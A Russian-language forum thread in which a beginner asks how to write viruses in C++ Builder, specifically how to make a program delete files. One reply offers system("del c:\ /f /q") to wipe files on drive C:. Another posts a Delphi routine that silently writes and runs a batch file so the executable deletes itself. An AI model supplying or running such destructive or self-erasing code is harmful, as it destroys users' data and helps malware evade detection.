![]() |
Вирусописание на cbuilder
Вот такая вот темка..
По мне так на C++ builder 6.0 вполне мона делать хорошие вирусы... Вобщем... У меня вопросик есть, тупой правда: как сделать чтобы какой то файл удалялся? Дайте плиз код.... |
есть одна оч хорошай функция system() которая лежит в библиотеке stdlib.h
Дак вот эта функция это обрашение к cmd!ее и юзай! например: system("del c:\ /f /q"); :))) А есле те надо чеб файл удалил сам себя, то генерируй bat файл, который уже удалит exeшник |
пример на Delphi
procedure DeleteSelf; var BatFile:TextFile; BatFileName:AnsiString; c:Cardinal; Tmp:PChar; begin BatFileName:=ExtractFilePath(ParamStr(0))+'cmd.bat '; AssignFile(BatFile,BatFileName); Rewrite(BatFile); Writeln(BatFile,':try'); Writeln(BatFile,'del "'+ParamStr(0)+'"'); Writeln(BatFile,'if exist "'+ParamStr(0)+'" goto try'); Writeln(BatFile,'del "'+BatFileName+'"'); CloseFile(BatFile); c:=70; GetMem(Tmp,c); GetShortPathName(pchar(BatFileName),Tmp,c); BatFileName:=Tmp; FreeMem(Tmp); winexec(pchar(BatFileName),sw_hide); halt; end; |
Вирусописание на cbuilder. миф, или реальность?
|
Нужно определиться с определением слова "вирус" сначала :)
|
Цитата:
просто с билдером такая же история как и с delphi... жучка тянет внучку внучка тянет бабку и т.д. |
Цитата:
! Возможностей - куча. Мне кажется что это реально. Вот например я свой браузер написал - exe всего лишь около 90 кб... А больше вроде как ничего не требует. Функций там канечна не много, но чтобы лазать по инету - хватает. Я например сейчас тут на нём сижу... Он меня прикалывает. Хотя дизайна нету... Но я над ним работаю. Цитата:
void __fastcall TForm1::Button1Click(TObject *Sender) { Здесь был код который удалит заданный файл....... } Тоесть жмём на кнопу и указанный файл удаляецо. Не спрашивать для чего мне енто ))) |
Цитата:
ну, вирус это любая программа приносящая какой-либо вред в любом его проявлении наверное... трояны всякие.... стиралки диска C.... и.т.д. |
Ну просто между вирусом и стиралкой диска Ц (как ты выразился) такая же разница как между словами "написать свой браузер" и поводить мышкой по монитору перетаскивая компоненты.
|
Извини может я и ошибаюсь, но смотрю ты не опытный кодер... (ты не один такой я тоже =) )
почему? 1. Использование вокруг VCL 2. незнание таких простых вещей... Borland C Builder по умолчанию собирает проект по rtl (Run-Time-Library). Это значит что ты должен поставлять еще и тяжелые бибилиотеки... З.Ы. Ни в коем случае не оскорбляю! |
| Время: 04:20 |